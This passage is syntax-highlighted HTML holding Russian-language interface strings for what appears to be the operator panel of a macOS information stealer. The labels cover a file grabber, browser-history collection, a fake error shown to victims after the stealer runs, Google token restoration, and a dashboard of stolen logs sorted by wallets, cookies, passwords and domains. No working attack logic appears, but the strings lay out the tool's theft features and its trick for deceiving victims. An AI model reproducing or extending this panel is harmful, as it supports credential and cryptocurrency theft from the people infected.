font-style: inherit;">`Расширения FileGrabber`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-667">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">fileGrabberOn</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`FileGrabber вкл/выкл`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-668">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">reverseNotesOn</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Запасной сбор заметок вкл/выкл`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-669">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">reverseNotesTooltip</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Запасной сбор заметок, если основной заблокирован, это вызовет еще один алерт`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-670">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">browserHistoryTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сбор истории браузера`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-671">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">browserHistoryOn</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сбор истории браузера вкл/выкл`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-672">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">syntheticErrorSectionTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Настройка фейковой ошибки (необязательно)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-673">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">syntheticErrorOn</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Показывать ошибку после выполнения стиллера вкл/выкл`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-674">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">syntheticErrorMessage</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сообщение об ошибке`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-675">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">syntheticErrorMessagePlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Your Mac does not support this application. Try reinstalling or downloading the version for your system.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-676">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">syntheticErrorDescription</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Это сообщение будет отображено в модальном окне после завершения работы стиллера как текст ошибки`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-677">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">selectPngBackground</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Выберите .png фон`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-678">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">clickToSetPosition</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Нажмите, чтобы установить позицию`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-679">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">okButton</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`OK`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-680">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">toggle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Переключатель`</span></span>
<span id="cb28-681">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-682">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cookies</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-683">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">googleToken</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Токен Google`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-684">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">proxy</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Прокси`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-685">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">restore</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Восстановить`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-686">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">tokenPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Введите ваш токен Google...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-687">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">proxyPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`HTTP адрес прокси...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-688">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">optional</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Опционально`</span></span>
<span id="cb28-689">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-690">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">dashboard</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-691">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">allLogs</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Все логи`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-692">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">newLogs</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Новые логи`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-693">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">uniqueLogs</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Уникальные логи`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-694">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">wallets</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Кошельки`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-695">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">logsWithWallets</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Логи с кошельками`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-696">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cookies</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Куки`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-697">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">passwords</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Пароли`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-698">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">domains</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Домены`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-699">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">logsActivity</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Активность логов`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-700">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">countries</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Распределение по странам`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-701">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">other</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Другие`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-702">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noData</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Нет данных`</span></span>
<span id="cb28-703">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-704">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">linkCreator</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-705">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">guestLink</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Гостевая ссылка`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-706">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">statsLink</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Ссылка на статистику`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-707">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildId</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`BuildID`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-708">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">getLink</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Получить ссылку`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-709">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">generating</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Генерация...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-710">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">placeholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Введите BuildID для {{type}} ссылки`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-711">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">placeholderGuest</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`гостевой`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-712">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">placeholderStats</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`статистической`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-713">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">yourLink</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Ваша {{linkType}} ссылка`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-714">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">openLink</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Открыть ссылку`</span></span>
<span id="cb28-715">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-716">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">statDisplay</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-717">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">goToRawJson</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Перейти к Raw JSON`</span></span>
<span id="cb28-718">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-719">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">guestMode</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-720">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">tokenMissing</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Гостевой токен отсутствует.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-721">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">errorFetchingData</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Ошибка при получении гостевых данных:`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-722">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">linkNotFound</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Гостевая ссылка не найдена или истекла.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-723">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">accessDenied</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Доступ по этой гостевой ссылке запрещен.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-724">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">serverError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Ошибка сервера`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-725">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">loadFailed</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Не удалось загрузить гостевые данные.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-726">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">tokenNotFound</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Гостевой токен не найден в URL.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-727">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildLabel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сборка`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-728">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noStats</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Статистические данные для этого представления не найдены.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-729">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">statsUnavailable</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Статистические данные недоступны.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-730">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">loadingData</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Загрузка данных...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-731">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noLogsFound</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Логи для этого гостевого представления не найдены.`</span></span>
<span id="cb28-732">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-733">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">logs</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-734">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">downloadAll</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Скачать все`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-735">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">downloadWallets</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Скачать только с кошельками`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-736">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">downloadWithoutWallets</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Скачать без кошельков`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-737">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">downloadOptions</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Параметры скачивания`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-738">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteAll</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Удалить все`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-739">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">downloadSelected</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Скачать выбранное`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-740">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteSelected</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Удалить выбранное`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-741">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cancel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Отмена`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-742">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">itemsSelected</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Выбрано: {{count}}`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-743">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">search</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Поиск`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-744">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">id</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`ID`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-745">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">ip</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`IP`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-746">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildId</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`ID билда`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-747">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">date</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Дата`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-748">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">data</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Данные`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-749">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">status</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Статус`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-750">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">action</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Действие`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-751">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">wallets</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Кошельки`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-752">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cookies</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Cookies`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-753">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">passwords</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Пароли`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-754">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">domains</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Домены`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-755">            <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">new</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Новый`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-756">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">checked</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Проверен`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-757">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">download</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Скачать`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-758">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noLogsFound</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
